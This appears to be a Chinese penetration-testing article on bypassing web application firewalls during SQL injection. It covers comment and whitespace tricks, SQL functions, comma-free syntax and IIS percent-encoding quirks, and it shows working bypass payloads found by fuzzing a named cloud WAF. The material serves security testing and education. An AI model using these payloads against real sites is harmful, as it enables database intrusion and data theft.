【独家连载】我的WafBypass之道
(SQL注入篇)
Author:Tr3jer_CongRong
Mail:Tr3jer@gmail.com
0x00 前言
去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常
谈的话题也没什么可写的。很多人一遇到waf就发懵,不知如何是好,能搜到的各
种姿势也是然并卵。但是积累姿势的过程也是迭代的,那么就有了此文,用来总
结一些学习和培养突破waf的思想。可能总结的并不全,但目的并不是讲那些网上
搜来一大把的东西,So…并不会告诉大家现有的姿势,而是突破Waf Bypass思维定
势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass(这里只讲主流
waf的黑盒测试)
0x01 搞起
当我们遇到一个waf时,要确定是什么类型的?先来看看主流的这些waf,狗、盾、
神、锁、宝、卫士等等。。。(在测试时不要只在官网测试,因为存在版本差异导致规
则库并不一致)
我们要搞清楚遇到的waf是怎么工作的(很重要)主要分为:
1、云waf:
在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求
uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
2、主机防护软件:
在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听
web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,
mod_security、ngx-lua-waf这类开源waf虽然看起来不错,但是有个弱点就是升级
的成本会高一些。
3、硬件ips/ids防护、硬件waf(这里先不讲)
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流
量清洗和拦截,如果通过再将数据包流给主机。
再来说明下某些潜规则(关系):
百度云加速免费版节点基于CloudFlare
安全宝和百度云加速规则库相似
创宇云安全和腾讯云安全规则库相似
腾讯云安全和门神规则库相似
硬件waf自身漏洞往往一大堆
当Rule相似时,会导致一个问题,就比如和双胞胎结婚晓得吧?嗯。
0x02 司空见惯
我们还需要把各种特性都记牢,在运用时加以变化会很有效果。
数据库特性 :
注释:
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00
利用注释简单绕过云锁的一个案例:
拦截的,但/**/ > 1个就可以绕过了,也就是/**//**/以上都可以。
科学记数法:
空白字符:
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16
,17,18,19,1A,1B,1C,1D,1E,1F,20
+号:
-号:
“符号:
~号:
!号:
@`形式`:
点号.1:
单引号双引号:
括号select(1):
试试union(select)云盾会不会拦截
花括号:
这里举一个云盾的案例,并附上当时fuzz的过程:
union+select 拦截
select+from 不拦截
select+from+表名 拦截
union(select) 不拦截
所以可以不用在乎这个union了。
union(select user from ddd) 拦截
union(select%0aall) 不拦截
union(select%0aall user from ddd) 拦截
fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与
末尾圆括号之间可插入的符号。
union(select%0aall{user}from{ddd}) 不拦截。
Bypass Payload:
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
可运用的sql函数&关键字:
MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
Char('97')
exec
Mysql BIGINT数据类型构造溢出型报错注入:
BIGINT Overflow Error Based SQL Injection
容器特性 :
%特性:
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而
没特殊要求的waf当然是不会的:
修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。
%u特性:
iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但
waf就不一定了:
修复过后: